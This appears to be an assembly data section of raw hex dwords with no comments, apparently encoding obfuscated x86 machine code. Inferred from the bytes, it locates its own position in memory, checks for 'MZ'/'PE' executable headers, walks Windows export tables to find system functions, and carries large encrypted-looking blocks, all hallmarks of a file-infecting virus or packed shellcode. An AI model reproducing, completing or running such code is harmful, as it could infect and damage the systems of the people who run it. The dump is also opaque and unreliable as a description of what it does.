		dd 1, 8D8D61F5h, 6034D69h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 50C35545h, 0E1FF232Dh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 0AC35242h, 61A06736h
		dd 0E18A6CF7h, 245C8BFCh, 0E8550Ch, 5D000000h, 910AED81h
		dd 838B0606h, 0B8h, 78308589h, 858D0606h, 6068F0Eh, 0B88389h
		dd 335D0000h, 6AC3C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 7C71E1C3h, 0DD3344F5h, 0BD29FEB8h
		dd 60319D5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0AAC35040h, 89CFA91Ch, 31FF18Dh, 6A6006h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0EFED6AC3h, 8F643D8Dh, 5E9h,	76675C00h, 858DA262h, 60693D8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 24C35343h
		dd 7B447DAAh, 2B60DFD9h, 322C19Dh, 61F38B06h, 6E96090h
		dd 36000000h, 311FD1CCh, 0B86657CAh, 6159C974h,	0C8F0F50h
		dd 0F000000h, 689h, 0F525000h, 90585A31h, 0BE9h, 0BBA7AF00h
		dd 0F44ABE3Bh, 30E4EFAh, 35FF64h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 6F07C356h, 8960F236h, 325D9B5h, 6DBD8B06h, 61060330h
		dd 258964h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0DA88C351h,	1C5D46B6h
		dd 890FA8CAh, 314D995h,	6F858D06h, 6A060694h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0C59AC350h, 43C04D20h, 68F0F00h, 89000000h, 31D59BDh
		dd 1608906h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	7C35545h, 0A1FF670Bh, 359D01FDh, 0C6060314h, 31BA185h
		dd 8B604F06h, 31FB585h,	21952906h, 61060316h, 6B592268h
		dd 148F0FC7h, 0E9000000h, 0Fh, 696C2C29h, 0C5845E46h, 91715C6Ah
		dd 81395FA1h, 2D082434h, 896039A3h, 32A15B5h, 399D8B06h
		dd 61060326h, 2471B5FFh, 6A0603h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 1EB213C3h, 0E46E1C21h
		dd 0E91D1370h, 0Eh, 0B4EA17Eh, 8E74BFBCh, 0C95716BFh, 858D7D54h
		dd 6067C58h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	1BC35040h, 0C47631F3h, 8E934h, 9F210000h, 9B3D5A9Eh
		dd 0D0FF318Dh, 0CB8B6660h, 8D8D8960h, 8B060307h, 30F8185h
		dd 0E9616106h, 0C4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 94C35545h, 0CE9h, 1B66F00h, 0DD520290h
		dd 5AA3BF81h, 245C8B00h, 0E8550Ch, 5D000000h, 93E2ED81h
		dd 858B0606h, 60302E1h,	24718589h, 858B0603h, 6033121h
		dd 2ABD8589h, 858B0603h, 6031F9Dh, 9698589h, 85C60603h
		dd 6031BA1h, 0B685C700h, 6067Dh, 8D000000h, 6946F85h, 0B8838906h
		dd 5D000000h, 6AC3C033h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0D907C355h,	0FB2898C3h
		dd 3CC90FE3h, 0DB59D89h, 8F0F0603h, 6, 2A499589h, 29600603h
		dd 326CD85h, 61F98B06h,	12FF74BCh, 8E900h, 0C26F0000h
		dd 0F156FFCh, 8F64806Bh, 5, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0FBB1DF8Bh
		dd 9FE42BFAh, 218D093Bh, 0E9060303h, 0Eh, 43360E4Bh, 7420169Eh
		dd 51086A49h, 0C4834C71h, 870F6004h, 2,	0C4806160h, 61F96191h
		dd 5E8h, 52232D00h, 800F9514h, 3, 5BD6B70Fh, 8198D0Bh
		dd 0C3810603h, 5975h, 29658D8Bh, 44B80603h, 0FF000016h
		dd 0D1B58933h, 5E060308h, 0F681F58Ah, 2E87A534h, 0E51B589h
		dd 0F6810603h, 4D02EBBEh, 564ED6BFh, 8DF68127h,	0F3EE93Eh
		dd 2356CAB7h, 3058D8Dh,	0F8038F06h, 4804EB83h, 0FFC1850Fh
		dd 0BA66FFFFh, 83E9412Fh, 53000000h, 57565251h,	1C245C8Bh
		dd 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h
		dd 850F4550h, 57h, 3785B8Bh, 8B1C245Ch,	74032473h, 8B561C24h
		dd 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h,	5C8B41FFh
		dd 178B1C24h, 20245403h, 8A04C783h, 74C08402h, 75033A08h
		dd 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh
		dd 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h,	0CA8BFFFFh
		dd 0DE8h, 0EE4AF800h, 0A239D258h, 649DB663h, 81589AEFh
		dd 0B180C5D6h, 44C08121h, 33000066h, 11E9C9h, 0A67D0000h
		dd 0B9F68E8Dh, 0FBA6C3FFh, 0AF920F1h, 8B73CB3Dh, 7E9081Ch
		dd 71000000h, 0F366F06Fh, 0C3816B92h, 4EA93689h, 31F381F9h
		dd 66710405h, 0EB81F38Bh, 6309200Ch, 0CACE8166h
		dd 81C8989h, 8B8EE680h,	0AFE981F8h, 0E90B8FE3h,	10h, 152A55C1h
		dd 0A370D4DCh, 76F71B15h, 7D653C72h, 0E3ABC181h, 81660B8Fh
		dd 81C3D7F7h, 0FF9A74F9h, 1C850FFFh, 66000000h,	0E96CD4BFh
		dd 1Dh,	768BF9D3h, 8C7435AEh, 77173C64h, 0E90BA105h, 0E9C65535h
		dd 0FFFFFF7Bh, 369C88D6h, 0AE811h, 0D7100000h, 2519B21h
		dd 0E0FE9849h, 0E95B92B2h, 0Ch,	334F45B5h, 37861B7Eh, 0BC8AC945h
		dd 5B4CC381h, 81660000h, 68723AF1h, 16A3h, 38B0Fh, 0DD800000h
		dd 8B665FF5h, 0E833FFD7h, 5, 65EB544Fh,	0A6C68072h, 8A0F5E58h
		dd 2, 0C6816BB6h, 60EAF69h, 0EE81D38Bh,	255603D7h, 2E70EE81h
		dd 56F534B9h, 0F35BCA81h, 38F508Dh, 4EB83F9h, 9810Fh, 810F0000h
		dd 3, 8103DA80h, 1EFh, 0F850F00h, 8A000000h, 2CE9C6h, 60460000h
		dd 169F296Fh, 0FE9BA77h, 0B2000000h, 8A5F9C3Fh,	5EA97F2h
		dd 6C5B85A6h, 82E9746Eh, 59FFFFFFh, 95A8252h, 0D91F29EFh
		dd 48E9FD2Bh, 50000001h, 54000000h, 58000000h, 5C000000h
		dd 60000000h, 64000000h, 68000000h, 6C000000h, 0B0000000h
		dd 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h
		dd 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h
		dd 0DC000000h, 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h
		dd 38h dup(0)
		dd 4B000000h, 0EB005248h, 8D009A50h, 6975E85h, 9E858906h
		dd 60060698h, 89D1BF0Fh, 3044185h, 0B70F6106h, 0A185C6D8h
		dd 5406031Bh, 17418D0Bh, 1E680603h, 50E5E0A9h, 0FFD8A52h
		dd 52506031h, 585A310Fh, 5A616160h, 24048158h, 881BF0Bh
		dd 0D78DBF66h, 0EE8h, 43C6C700h, 992A816Eh, 8544C777h
		dd 8BF76E41h, 0B5FF5EF3h, 6032471h, 0C71B58Bh, 858D0603h
		dd 6067C58h, 0ABD98166h, 8BD0FFBEh, 31AF59Dh, 0A2858906h
		dd 0F8060698h, 3AE9h, 0D9BF0F00h, 9EB58B56h, 89060698h
		dd 9E858306h, 4060698h,	8D60C35Eh, 6975EB5h, 560FEB06h
		dd 36FF006Ah, 98A295FFh, 835E0606h, 3E8304C6h, 61EC7500h
		dd 799D09C3h, 8D060330h, 6994585h, 850F06h, 89000000h
		dd 31CF985h, 0E5E906h, 4D100000h, 71DCFFEEh, 0A1D1F32h
		dd 8FDD7A0Eh, 6D373353h, 3D557D2Fh, 0D57F2D77h,	577DD77Dh
		dd 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh, 6D373353h
		dd 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6D171Eh, 20602075h
		dd 0E0202060h, 0AC2060E0h, 0A9F77B68h, 0D020A1E4h, 0EDA693B2h
		dd 91B99DB7h, 20ACA3F2h, 20602060h, 0E0202060h,	752060E0h
		dd 0D0A3353h, 20557D2Fh, 20602060h, 2BA72860h, 0D650F036h
		dd 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h, 0F76DB9E9h
		dd 2 dup(20602060h), 0DF6DF720h, 0D773351Ah, 0F73D577Dh
		dd 75D55FEDh, 6D373353h, 3D557D2Fh, 0D57F2D77h,	577DD77Dh
		dd 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh, 6D373353h
		dd 1E357D2Fh, 0A8000E0Ah, 54A766C1h, 0C243F2FDh, 0E941C03Fh
		dd 0C71h, 69CDD68h, 0E3ABE906h,	0E768FFFCh, 0E906069Dh
		dd 0FFFCE3A1h, 69EAC68h, 0E397E906h, 4B68FFFCh,	0E906069Fh
		dd 0FFFCE38Dh, 69FCB68h, 0E383E906h, 7568FFFCh,	0E90606A0h
		dd 0FFFCE379h, 6A1E768h, 0E36FE906h, 0CF68FFFCh, 0E90606A2h
		dd 0FFFCE365h, 6A39168h, 0E35BE906h, 6E68FFFCh,	0E90606A4h
		dd 0FFFCE351h, 6A53A68h, 0E347E906h, 0A62FFFFCh, 0CD5371DDh
		dd 0EA7290FCh, 58FAD19h, 2DB2D03Ch, 0E531F05Ch,	5FCB9C21h
		dd 81EDB641h, 0A20ED763h, 0C02CFD84h, 2E440FBBh, 0C6D017DFh
		dd 32A5B8h, 8E9B6CF2h, 0D6114560h, 50B0310h, 0B6AEAD7Eh
		dd 6B63622Bh, 0C09117E5h, 0EE766E6Dh, 9E588F25h, 3386A481h
		dd 25222B34h, 0EAE7427Ah, 7EEABB42h, 459F333Ch,	2A9244AAh
		dd 1179115Fh, 81D4E1D6h, 512F5689h, 0AE79ABDDh,	0D6117940h
		dd 682B2330h, 0DC145F43h, 1F171623h, 3D5BC798h,	31E6E5B6h
		dd 0D0121FC6h, 0FFFECF56h, 1EDA18E3h, 8D9AD012h, 0EBEAB33Dh
		dd 0E88B8833h, 0AFED2A66h, 4D53A6A5h, 62E9918Eh, 0B5410F94h
		dd 9F9A99ECh, 46B1F954h, 55858AFh, 2FF88391h, 70F71537h
		dd 21A8A09Fh, 0D3595150h, 810B0302h, 5601B9B8h,	0E9A8AE59h
		dd 0ECBD44ECh, 0C0777C80h, 0DBBE5A3Ah, 0D000004h, 8AFECF56h
		dd 45678D58h, 20FD611h,	0D65D550Ah, 0B6B57E08h,	0B1FC68BBh
		dd 6D38AC74h, 0DC144A26h, 0FC4C3D0h, 0D01240E5h, 56E4E15Ah
		dd 5A3AE29Dh, 364CA0A9h, 5C37D553h, 7565AE11h, 901F67Ah
		dd 2DCEh, 0FC291D00h, 0C2E5B024h, 9CDC1468h, 830D1B8Fh
		dd 580DC2BAh, 0D012661Eh, 9F2D2AA3h, 5A3AC054h,	0F8DFh
		dd 3CC1CF00h, 0C215E66Eh, 0CF56FFCAh, 8D588AFEh, 0D6114567h
		dd 2BB2020Fh, 0B5AD625Ah, 68605F30h, 0F51110E1h, 929162E7h
		dd 12999F97h, 6193D541h, 11455896h, 130B18D6h, 11493750h
		dd 0DDE65D6h, 569C6799h, 0A0D61141h, 11419FD5h,	544A57D6h
		dd 0F2D4F47h, 93B8B788h, 4F1A8E6Ah, 0DC145BC8h,	81EFBAECh
		dd 71D0125Bh, 1211E267h, 20CCC417h, 215CA713h, 1118E357h
		dd 55DA15E4h, 41C6D448h, 916E844Fh, 0F906DA19h,	0EFF83AA6h
		dd 0B4520ACFh, 3C077BB0h, 0DA193E36h, 0B3B9B1BEh, 0E6065D2Eh
		dd 27D4C350h, 9421F26h,	0AA330000h, 0D15775E1h,	0EE769400h
		dd 993B11Dh, 31B6D440h,	0E935F460h, 63CFA025h, 85F1BA45h
		dd 0A612DB67h, 0C4300188h, 2A4813BFh, 0CAD017D9h, 2932A9BCh
		dd 0ED623153h, 747A7253h, 94B21EEFh, 810D1B0Dh,	0B1BEB9B8h
		dd 0D611D943h, 67D32633h, 0F7003284h, 620DE802h, 0D61C29DCh
		dd 9ED6112Bh, 0EABB4191h, 0C5F8F0EBh, 3E4CC058h, 0EEE9E8B9h
		dd 64F775A3h, 241C2F37h, 0B38C2FFAh, 0D9E6DC14h, 3CC5765h
		dd 57A1560Bh, 0C5D012BAh, 78706F40h, 192221F2h,	7C471310h
		dd 0D012BA76h, 759EF1FEh, 7A71FFFCh, 0B15A3A1Ch, 9Ch, 0DDCF5600h
		dd 1145DC12h, 348794D6h, 0E7B83D35h, 492833E8h,	0C148D611h
		dd 9E9D6EF3h, 0C6E450A3h, 4A6F6E3Fh, 6D145D3h, 0DC145C01h
		dd 28A01C21h, 0F7B5BB86h, 303DD012h, 2E7827E5h,	0F9246FDBh
		dd 7CCF9822h, 45ED3D08h, 5C69DA15h, 8455DAE8h, 0A475FA18h
		dd 0C43A234Dh, 707778D4h, 838h,	7FEBB43Dh, 9E0ADB61h, 0BB27F880h
		dd 0DE4A139Dh, 0FE6A3BC0h, 0AA2FF33Fh, 0C44F6DD9h, 0E5718FFBh
		dd 0B92B01Ch, 1DC9CE3Ah, 17D81C52h, 0B3C6D4D0h,	9400D156h
		dd 9521EF76h, 2A0D79CCh, 7A01CF56h, 45720ACh, 0B8B70A05h
		dd 0FC6839C0h, 3A63FC9Bh, 0AAB8EA5Eh, 995C5425h, 0DC1460BEh
		dd 0C163313Ah, 22F11D72h, 0EC747E2Ah, 7546CB1Bh, 0F8287B76h
		dd 0DA6011A5h, 0C15FC6D2h, 0DBE91B4Dh, 79778455h, 0F9D2DD08h
		dd 5631F4ECh, 20D8D824h, 0A919F13h, 473F3A39h, 68306D92h
		dd 0B36729F4h, 0FAFFD6D8h, 0EE786992h, 0E02B2625h, 38889F83h
		dd 0EBE6E5AEh, 8F162498h, 0AD3452BEh, 275185DCh, 0B9BAD990h
		dd 773B2h, 0B0790200h, 0CFA02644h, 0ECBD4563h, 0FD86280h
		dd 2F0085A3h, 0F4B804C3h, 14329E6Fh, 3654C089h,	5775E1AAh
		dd 8E93FFD0h, 0DBD917E2h, 8B99D017h, 0FECF5678h, 0D5A3DAFFh
		dd 62B19661h, 0A4B1DC14h, 0E8B0ED38h, 11DA6674h, 6024EF19h
		dd 0FCDA14C1h, 0E66D7BEFh, 0E93A115h, 4B433E3Dh, 0B6840B29h
		dd 12DB652Bh, 72C51813h, 49D74E73h, 67610AD5h, 0FF09D01Eh
		dd 0E458AB74h, 127E4FD6h, 9D9C6DF4h, 0FF730D78h, 41DAB34h
		dd 479CA5CEh, 1D53547Eh, 2734E0D8h, 0CE8B92D0h,	70E0FE0h
		dd 6D4h, 0E34F18A1h, 26E3FC5h, 1F8B5CE4h, 42AE7701h, 62CE9F24h
		dd 0E9357A3h, 28B3D13Dh, 49D5F35Fh, 6FF61480h, 812D329Eh
		dd 17DAB8B6h, 172A38D0h, 0A027FC29h, 82D5D0CFh,	88D3DC0Eh
		dd 0C06D9722h, 0AEA1645Ch, 0A8DC17D5h, 9219279Bh, 0E19FD5A0h
		dd 4A57D017h, 3B498BF7h, 0EAF0E8B1h, 77939263h,	0E1747A45h
		dd 0EFFCD017h, 0BF59C4F7h, 0C69B804Bh, 8E9BDA12h, 0C497EF37h
		dd 787F80D4h, 654h, 63CF9821h, 82EEBF45h, 9F0BDC64h, 0C22EF781h
		dd 0E24E1FA4h, 8E13D723h, 0A83351BDh, 0C95573DFh, 0EF769400h
		dd 1ADB21Eh, 17DA3836h,	97AAB8D0h, 0B024FC29h, 17DF21E5h
		dd 3CB0BDDCh, 6AD6A72Eh, 6FF7C54Ch, 59A49F9Eh, 7AA8E8A9h
		dd 1F1E7140h, 73F883FAh, 55A8A3A2h, 0D55D16E1h,	0B15DA11h
		dd 6831BB81h, 0C81B6E69h, 0EEBF4654h, 14DD6482h, 0A93BDE6Ch
		dd 7E743F42h, 0F6DA1D4Ch, 572296E9h, 0DA1D4C19h, 7A79CCD9h
		dd 0DC502855h, 827A43CEh, 47F28D58h, 727CD018h,	0C99A20E6h
		dd 7ACC2376h, 1FDAC9E8h, 5AA171Eh, 42CB0000h, 69EF0D79h
		dd 860E2C98h, 0A12B49B5h, 0C94E6CD8h, 81CD8CF8h, 0FB6738BDh
		dd 1D8952DDh, 3EAA73FFh, 5CC89920h, 92E0AB57h
		dd 62D017E5h, 0CF564154h, 34818AFEh, 51FBDB0Fh,	0A9A1564Eh
		dd 0A3E55122h, 49410A95h, 9D11EF16h, 14D0BDD2h,	0A62B35DCh
		dd 678382D5h, 0A02D359h, 12DA2D47h, 1C1992D0h, 3A78458Eh
		dd 4ED05Ah, 0B2C00000h,	99645C2Dh, 0AE982432h, 11458DE3h
		dd 55865D6h, 6A622BB5h,	0BE32CE37h, 5C5B24B0h, 0CC22ED61h
		dd 0A4D61145h, 0AA759F97h, 0DC146809h, 39555461h, 66363C07h
		dd 0B1BED012h, 66FCF6B9h, 0C841D012h, 0C0B63DCBh, 0F27D5A3Ah
		dd 0CC000000h, 0CE9F2432h, 0D6DCD4CFh, 0FC0A7E4Fh, 0F8ADA576h
		dd 36AA7B00h, 453B3904h, 0AEBBD611h, 45016F3Ah,	0E4F1D611h
		dd 0B83F37ECh, 0C3CCE8E7h, 12F5442Ah, 1B21196Bh, 7C57C394h
		dd 0D6112A63h, 0C5390A91h, 22AAC893h, 0B2F5D611h, 0A943C10Dh
		dd 77C7D4CAh, 25201FF0h, 66ED0B2Dh, 34719695h, 0B8C6F86Ch
		dd 20EB5F30h, 0D61166D2h, 0DA9D95A2h, 0DC146FD9h, 5C7D0A13h
		dd 0CFAB383Ah, 0B21E2BD7h, 0EE623E67h, 1588AF23h, 31BDC7DAh
		dd 1B6E6968h, 0DB6775A7h, 0AD94A21Ah, 0A3F6B2FFh, 4F20A5ABh
		dd 7445CDDBh, 0B73C5A7Ch, 0BB70B4EEh, 489BE274h, 0C40295F1h
		dd 464D4ED4h, 438h, 7FEBB43Dh, 9E0ADB61h, 0BB27F880h, 0DE4A139Dh
		dd 0FE6A3BC0h, 0AA2FF33Fh, 0C44F6DD9h, 0E5718FFBh, 0B92B01Ch
		dd 1DC9CE3Ah, 17E41C52h, 0B3C6D4D0h, 9400D156h,	0B21EEF76h
		dd 9C2432CFh, 65A0D3CBh, 4541AF7Ah, 2431D611h, 0C44F5DD1h
		dd 8D7AB0FBh, 619CAA89h, 33743F69h, 2BDC140Fh, 109CAA1Eh
		dd 612C4847h, 0D012CF13h, 8B83D6E3h, 0CFD721D6h, 0F36CD012h
		dd 696368F6h, 0B9AA5A3Ah, 0F9000000h, 0FFFECF56h, 0B2B18207h
		dd 1149E2FDh, 0BA8B12D6h, 0E4AD3846h, 0D0F2EAE5h, 0E65A2BB2h
		dd 418BE9B4h, 5E6BD611h, 118CB166h, 67481387h, 0FFDC1448h
		dd 0C23B86F2h, 92E5AE39h, 0FCDE531Eh, 8B98DA15h, 92840917h
		dd 19F8A9C7h, 0F13C49DAh, 0F016600Fh, 1084D767h, 0B6AE7702h
		dd 20F17694h, 0C37D63C9h, 282F30D4h, 350h, 67D39C25h, 86F2C349h
		dd 0A30FE068h, 0C632FB85h, 0E65223A8h, 9217DB27h, 0AC3755C1h
		dd 0CD5977E3h, 0F37A9804h, 5B1B622h, 17E7343Ah,	9BAEBCD0h
		dd 0CD9E2432h, 794ACFD5h, 9768EF0Dh, 0C826F123h, 2AD61145h
		dd 1145115Fh, 0DED4E1D6h, 0D4B7D9D1h, 0FFFECF56h, 3BAF8007h
		dd 0DCD4A52Dh, 0A73C59BAh, 252EA27Eh, 8DCA64DBh, 608A822Dh
		dd 0C331FC2Eh, 0B3D611A0h, 60EBAEA6h, 0ADC1486h, 0A87ACDFDh
		dd 197C42B9h, 92A014ECh, 1741390Ah, 2D17EF4Ch, 7B7A8776h
		dd 0AA592F56h, 0AEEEA970h, 8168ADDh, 92BCB47Dh,	2BF005C7h
		dd 1C909D6Ch, 2EB9870Eh, 88A61265h, 69D93001h, 4A7EFD83h
		dd 28E4249h, 5EE70000h,	850B2995h, 0A22A48B4h, 0BD4765D1h
		dd 0E56A88F4h, 9DE9A814h, 178354D9h, 39A56EF9h,	5AC68F1Bh
		dd 78E4B53Ch, 0F6FCC773h, 7ED017E6h, 0CF565D70h, 45DC12DDh
		dd 4B16D611h, 0D6114525h, 0BDCAC0CDh, 0DF466B6Ah, 8D9BCD41h
		dd 0FAC53902h, 0D61145F4h, 0B4776F7Ch, 0DC145D5Bh, 4452C6D3h
		dd 0EC02CDBFh, 84D0125Ch, 2A252477h, 0DCAF1032h, 7AEE8AF3h
		dd 1779A4AFh, 531E50DAh, 0DA17701Dh, 24D0C8D5h,	74C4951Ah
		dd 9ECE21EAh, 99812D4Bh, 0C03E479Eh, 0EDF4F35h,	0F62F625Ah
		dd 10EBB62Ah, 0DA1480BCh, 0A9B2CECDh, 48CF59DDh, 327D7877h
		dd 120A5D05h, 66DAA6DFh, 80ACF99Bh, 0F0647112h,	22925BE2h
		dd 9061E8DBh, 0CC4B9691h, 84F04390h, 0B70EDF66h, 9D58103Dh
		dd 0B12A3132h, 0C4000001h, 0E806723Bh, 7259162h, 2442AE7Fh
		dd 4765D19Ah, 0C685F1C2h, 6031B67Ah, 824BD6F4h,	0A36CF816h
		dd 0C1921937h, 0D9A45055h, 0D017E19Bh, 563A4D5Bh, 8B406CFh
		dd 2245777Bh, 6621F636h, 0BF1265DEh, 204E194Bh,	0D0D611E0h
		dd 0F116CBC3h, 0F200CBB4h, 28D611E0h, 0DAD5D49Dh, 0FB87D7E4h
		dd 0A06BDF32h, 0DC14EDABh, 0C99A1F2Dh, 0AC1825D1h, 138A414Bh
		dd 0AF36FC88h, 0C4388BDEh, 2FF88492h, 7A3D3530h, 0DA17C891h
		dd 95C8C99h, 8302F24Bh,	0EB5F3964h, 0EDD94720h,	0F9839118h
		dd 3E363130h, 61868592h, 1DE85C24h, 16EB147Bh, 0F4FAC5F3h
		dd 7C071217h, 9AA81C6Fh, 0F1BA4513h, 38A4F7F2h,	6BC2931Ah
		dd 99BE28E7h, 0E5E8EFF0h, 90000000h, 0B4D23E07h, 0D3F15D2Eh
		dd 0F00E7A4Bh, 13319D66h, 9251BD8Eh, 2CFD8246h,	4E17A2C0h
		dd 6F38C4E2h, 8D5EE503h, 0A5701C21h, 0D017E04Fh, 56061927h
		dd 2E8206CFh, 85558E8Dh, 970E3332h, 0C5CA9509h,	6DDC14D7h
		dd 7CA9F460h, 9A2230A4h, 777647CCh, 372A297Ch, 55B43E5Dh
		dd 0BC075AC6h, 0B3E9D42Ah, 98C2BAA9h, 14AE01CDh, 0D5A8ADDAh
		dd 0DBABDA3Fh, 0A3D5499Ch, 1BB69AD8h, 0FD4D5ADAh, 0B0ABAA73h
		dd 840B03B8h, 0A22947B3h, 1D2B5DD1h, 0CDC8C798h, 1BB6B2C0h
		dd 0B13842DAh, 0B53D8DE0h, 0F2EAE5E4h, 8D13213Dh, 0CAC2BDBCh
		dd 0DD2DBA07h, 221F7A11h, 0B622F37Ah, 8C481198h, 0AB4A830Ah
		dd 3FBFA4Dh, 93B1B079h,	880FB7B4h, 0A62D4BB7h, 11CFD6D5h
		dd 73000000h, 1BA1176Ah, 0C9C4C394h, 0C5ABC27Eh, 3D5402CDh
		dd 504CD56h, 0B6B5860Dh, 6A6932BEh, 1F1EE772h, 0D2D1A227h
		dd 858455DAh, 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h,	0E389536Fh
		dd 4C381h, 0BA520000h, 4, 875AD329h, 685C241Ch,	6D91h
		dd 51240C89h, 0C181E189h, 4, 4E981h, 0C870000h,	34895C24h
		dd 0A1685724h, 5F32850Ch, 81D7F74Fh, 8BA77AC7h,	5FF98938h
		dd 4EC81h, 24890000h, 24048324h, 55515E04h, 0E8069FBDh
		dd 246C0123h, 468F5D04h, 86E8108h, 23E8069Fh, 5E2434FFh
		dd 4C481h, 0C8B0000h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 0D74FE95Ch, 54F1FFFCh, 6931BC25h, 0E66212D1h, 0A644B8C3h
		dd 0C5030606h, 3DCDE0FFh, 8C0C6C0Ah, 0DD4058h, 0DB6B3A32h
		dd 39EB0587h, 0BA0000h,	0BA02CCh, 0BA02E4h, 0
		dd 0E3AF4E34h, 0D2B64267h, 86A74A79h, 0EBAC4E7Fh, 0EAA60969h
		dd 0D28C276Eh, 868E6B45h, 0F68D53CEh, 0EE964925h, 0E2A34252h
		dd 86A84710h, 86C1CF5Eh, 0D8E22704h, 0F24B79C1h, 0C2432325h
		dd 86DF23A4h, 0D0842740h, 0B4A9AE3h, 4A75C20h, 0D0BF16Bh
		dd 85CA2291h, 50434104h, 46499E5Fh, 89D39289h, 3B412143h
		dd 80C123C5h, 5CB5210h,	85E11EB5h, 9FB62702h, 46497452h
		dd 86C69EB9h, 1B47AE80h, 0BC4245Ah, 837798BDh, 0DD11D816h
		dd 0BF7FA450h, 86C42427h, 0D5923076h, 86C69EB9h, 1B47AE80h
		dd 0BC4245Ah, 837089BDh, 0DD11D816h, 637FAC50h,	89C42418h
		dd 4649DCB5h, 0AC7B920Ah, 3B492183h, 80C13DA5h,	9D63A2E6h
		dd 0EC942113h, 852A7208h, 0A6C22704h, 0F9FE45Fh, 7C6036Dh
		dd 92C603C4h, 0C3C22740h, 0EE6CE475h, 35DAEB35h, 0F1E61389h
		dd 0E0ED9770h, 79331FBCh, 85E656B4h, 0D7C24D86h, 86C224A8h
		dd 459B0720h, 0A28EAE49h, 0A286A60Ch, 86C23000h, 45936602h
		dd 39A1C673h, 3B4947E0h, 80C131D1h, 724A259Bh, 3EB460Dh
		dd 80C105B1h, 0DE47AA65h, 0ECC4217Eh, 852A7501h, 0A6C22780h
		dd 0F98E41Ah, 7C60374h,	9BC60354h, 0C4C22708h, 0D93CE456h
		dd 99E994BEh, 4245A1EAh, 4A2DA6E6h, 0A74FACCAh,	0E0C42401h
		dd 563DF49Bh, 9E539283h, 82A82107h, 6E922768h, 86C22702h
		dd 0DE017FA0h, 82E663C9h, 82E663A1h, 86C22704h,	0F7017748h
		dd 0C9591BAh, 86C6CF4Ch, 96C22701h, 0DA42780h, 684877BEh
		dd 82E663ABh, 8649F69Bh, 86CCA007h, 0D4922704h,	0B7CD7D54h
		dd 0B7CD7551h, 0DE987FDAh, 82E663C9h, 86C235C9h, 0AA7E8D10h
		dd 27B1E679h, 265FFDADh, 6DC12705h, 0DED0D23Bh,	86C4A48Fh
		dd 13492740h, 80C122ADh, 86C223F8h, 86C0CB08h, 0D4927704h
		dd 8914AC64h, 6E907730h, 86C22792h, 0B51F431Bh,	6E65FA4h
		dd 8613A099h, 74337AE5h, 899DB9A8h, 89907733h, 0DC9A7D30h
		dd 0D9A7DD8h, 0E6C60304h, 0B0AA9D46h, 86C237F8h, 6583E708h
		dd 5EA74E89h, 3E90D8C0h, 2496EF4Ch, 0DA378F0h, 85462840h
		dd 0E0C22720h, 0C24BD69Bh, 33A2232Ch, 574947AFh, 24B79F64h
		dd 0EC9A4660h, 852A7680h, 0A6C22740h, 0F9BE479h, 7C6035Ch
		dd 9EC6034Ch, 0C7C22704h, 0E51AE453h, 0EC449BA5h, 0D6C24D80h
		dd 86C224A8h, 459A0720h, 0A286AE48h, 0A286A60Ch, 86C23C00h
		dd 45926702h, 0D4961F54h, 3431A1CFh, 86C7AF4Fh,	7A42720h
		dd 79C49BDAh, 34BDBD8h,	80C481F3h, 6E952768h, 86C22702h
		dd 0D90178A0h, 82E65BC9h, 82E663A1h, 86C22705h,	0A701704Fh
		dd 86C7CE87h, 464E2702h, 0D4756C9h, 840E2278h, 34B2740h
		dd 80C481DBh, 0FDAE793h, 8064D88Dh, 3F021402h, 86C225EEh
		dd 86A88DF2h, 86C1CFD6h, 0D8E22740h, 0F24B79E3h, 0C2432334h
		dd 86D5232Ch, 0D0842704h, 0EA30CC1h, 7B7F1420h,	89C4248Fh
		dd 86C22FCDh, 7A44720h,	7FCA27E2h, 0D0C24D69h, 86C224ECh
		dd 459C0702h, 0A2B6AE5Fh, 0A286A684h, 86C23344h, 45946120h
		dd 86CFCEB6h, 79CF2708h, 42FD0DF3h, 3A3A5DEDh, 7D2BC9Bh
		dd 15A62966h, 2747E11Ah, 0C5C4243Bh, 6E94277Ah,	86C2270Bh
		dd 0D8017924h, 82E6538Bh, 82E66380h, 86C22796h,	4C017106h
		dd 3F36024h, 80C1202Dh,	3E517960h, 8E2A7545h, 0C6C22702h
		dd 17147C16h, 6FFE6958h, 86C2274Ah, 9EC2911Ch, 57EBFEDDh
		dd 0D99D6D5Ah, 86E62385h, 0EC9889DAh, 852A7701h, 0A6C22780h
		dd 0F9AE418h, 7C60364h,	9EC60354h, 0C6C22708h, 0FA54E454h
